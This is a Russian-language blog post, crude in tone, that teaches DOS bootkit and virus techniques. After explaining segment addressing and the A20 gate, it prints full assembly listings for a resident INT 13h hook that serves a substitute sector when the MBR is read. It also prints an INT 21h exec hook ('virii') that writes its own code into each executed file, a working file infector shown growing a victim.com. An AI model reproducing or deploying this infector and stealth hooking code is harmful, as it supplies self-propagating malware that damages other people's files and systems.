Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))
========================================================================
(АД- ножки,отвечающие за адресацию)
в 8086 была 20 битная шина.( вспоминаем вентиль А20
in al, 92h
or al, 02h
out 92h, al
========
in al, 92h
and al, 0FDh
out 92h, al
Вы любите ночь?
То,что пропускает мир через призму иллюзий)
рабочее место)
========================================================================
"Ебать мой *уй"- так было бы логичнее всего начать мое посленовогоднее послание).Напало стооолько работы,что я не то что не успеваю писать сюда,а даже сделать видео на конкурс...отакие пироги.
Но короче собрался я с силой мысли,духа и так далее и сегодня будет пост (в котором кстати будет в большинстве своем теория)о следующем т.н. этапе буткита-перехват прерывания(основная фишка буткита,с помощью которой он контролирует процесс загрузки операционной системы), мы должный понять, что новое-это хорошо забытое старое,что программируя на ассемблере важно знать строение процессора,его работу,что ДОС- это то что учит писать и думать на асме. Стает печально иногда видеть такой код "mov ax,0" ну что это?)это не красиво,не по культурному.
В общем идея заключается в том что: как говорил мой учитель-каждый программист должен за всю жизнь написать вирус и операционную систему).
Первым мы как раз и займемся. А также рассмотрим установку МСДОС на виртуальную машину,и научимся закидывать в нее все что нам надо.
Начнемс-с пожалуй.
Как мы знаем, был такой чудесный процессор 8086. Почему говорим о нем? Да потому что режим совместимости с
командами поддерживается в моделях следующих процессоров.
8086 мог работать только в режиме R-mode ( режим в котором
работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же
появились такие режимы как V-mode, что по своей сути
представляет концепцию виртуальной машины на уровне процессора.
Как работает адресация? Самая маленькая единица адресуемого блока памяти
является байт. Каждый байт имеет свое положение-физический адрес. Процессор
обращается к ячейке памяти через физический адрес, делает он это через адресную
шину.
Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1
бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины
процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше,
как раз актуальный пример)
в 8086 была 20 битная шина.( вспоминаем вентиль А20
in al, 92h
or al, 02h
out 92h, al
========
in al, 92h
and al, 0FDh
out 92h, al
)
что означает что 8086 адресовал всего лишь мегабайт памяти)
ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные,
а это значит что он адресовал не мегабайт , а 64 кб.?А вот и
нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16
разрядных значений, для того что бы обратиться в любое место 20 битной шины, и
видится он нам как : SEGMENT:OFFSET )))
НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)
все просто- сегментный регистр (CS,DS,SS,ES) сдвигается влево
на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется
смещение-получаем адрес.Получается границы сегментов располагаются каждые 16
байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один
байт.
итак 2^16*16 ~= 1 мбайт)
это кстати используется в boot вирусах и буткитах
также.
dec word [0413h]
mov ax,[0413h] ;(откусываем базовую память, что бы быть
резидентом)
shl ax,(10-4) ; (конвертируем
в параграфы)
mov es, ax
С основами покончено.Приступим к установке ДОС.
Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п.
так что единственное что остается для работы со своими программами это скачать
образ ISO DOS.
открываем его в программе ultraiso и перекидываем туда
папочку с необходимыми нам программами, сохраняем. Теперь установка.
запускаем на дискете fdisk- создаем партицию.
после создания форматируем format C:/S
после того как форматировали , копируем необходимые файлы:
C:
md doss
copy A:\*.* .\doss
copy A:\cd1.sys
copy A:\autoexec.bat
copy A:\himem.sys
copy A:\config.sys
copy R:\example C:\
все,готово.Устанавливаем загрузку с харда.
Приступаем к написанию кода.
Я создам несколько программ для разных методов перехвата.
есть 2 метода:
1)через прерывания ДОС
2)прямой манипуляцией таблицей векторов прерываний.
Начнем со второго, код слегка сложен, но в целом понятен. Данная программа
будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она
не приносит никакого вреда,а лишь показывает основные аспекты перехвата
прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть
mbr- будет подставляться
другой сектор.
Сначала код, потом комментирование кода.
.model
tiny
.code
.startup
jmp start
myint13:
cmp ah,2
jne origint13h
cmp cx,1
jne origint13h
mov ah,2
mov al,1
mov cx,4
mov dx,80
jmp origint13h
origint13h:
jmp cs:dword ptr orig13h
orig13h
dw ?
start:
xor
ax,ax
mov ds,ax
mov ax,offset myint13
cli
xchg word ptr ds:[13h*4],ax
mov word ptr cs:[orig13h],ax
mov ax,cs
xchg word ptr ds:[13h*4+2],ax
mov word ptr cs:[orig13h+2],ax
sti
push cs
pop ds
lea
dx, start
int 27h
; mov
ax, 4c00h
;int 21h
end
итак: прыгаем на инициализацию кода.Попадаем сразу же на start.
ax=ds=0 т.к. IVT (interrupt vector table - таблица векторов
прерываний) находится по адресу 0000:0000. (состоит из 256 элементов,к
сведению). Далее в ax указывается т.н. ISR- interrupt service routine - то, куда
будет перекидываться прерывание, при условии что будут выполняться
определенные условия (тавтология)).Иначе говоря как и в перехвате в windows- обработчик. Затем,
в целях безопасности, сбрасываем флаг IF и запрещаем прерываться.
Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в)
надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент
таблицы векторов прерываний это 32 битный адрес обработчика),и получить
дескриптор к ISR ,сначала в сегменте,
потом в оффсете. после чего снова запускаем прерывания с уже измененным
обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а
обработчик «вешается» в память через int 27h). обработчик вообще
элементарен:
проверяем, читают ли сектора- если нет, отдаем управление оригинальному
обработчику
проверяем, это mbr- если нет, отдаем
управление оригинальному обработчику.
если читают mbr - мы читаем свой
сектор и возвращаем его.Вот в принципе и все.
напишем простой листинг для чтения mbr.
.model
tiny
.code
org
100h
start:
mov
cx,1
;mov
dx,80h
mov
ax,0201h
int
13h
push
bx
xor
cx,cx
lea
dx, FileName
mov
ah, 3ch
int
21h
pop
bx
xchg
dx,bx
xor bx,bx
xchg bx, ax
mov
cx, 512
mov
ah, 40h
int
21h
mov
ah, 3eh
int
21h
ret
.data
FileName
db '1.txt',0
end start
смотрим как это работает.
видим подмену сектора)))
Переходим к пункту 1)-установка перехвата с помощью прерывания
ДОС
Код схож, но более минималистичен, за счет чего проще понимается.
Код-потом комментирование.
.model
tiny
.code
org
100h
start:
mov ah,35h
mov al,21h
int 21h
mov
word ptr [int21],bx
mov
word ptr [int21+02h],es
mov ah,25h
mov dx,offset virii
int 21h
xchg ax,dx
int 27h
virii proc
cmp ah,4bh
jne int21_exit
mov ax,3d02h
int 21h
xchg ax,bx
push cs
pop ds
mov ah,40h
mov cx,(start-endd)
mov dx,offset start
int21_exit:
db 0eah
endd:
int21 dd ?
endp
.data
virnamefuckyou db
'6EQUJ5_WOW!'
end start
тут все в разы проще.
с помощью ah,35h и al- номер прерывания
перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.
в обработчике просто- перехватываем функцию exec 4bh- если открыли-
записываем свой код в файл.
маленький-да удаленький как говорится.
скриншоты до запуска и после:
файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.
размер изменился)
а теперь главное,что мне удалось добиться используя фрэймворк одного
буткита:
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий
человек)))
на последок как обычно чуть фото,я теперь возьму это в традицию)
группа КиШ
То,что пропускает мир через призму иллюзий)
рабочее место)
Комментариев нет:
Отправить комментарий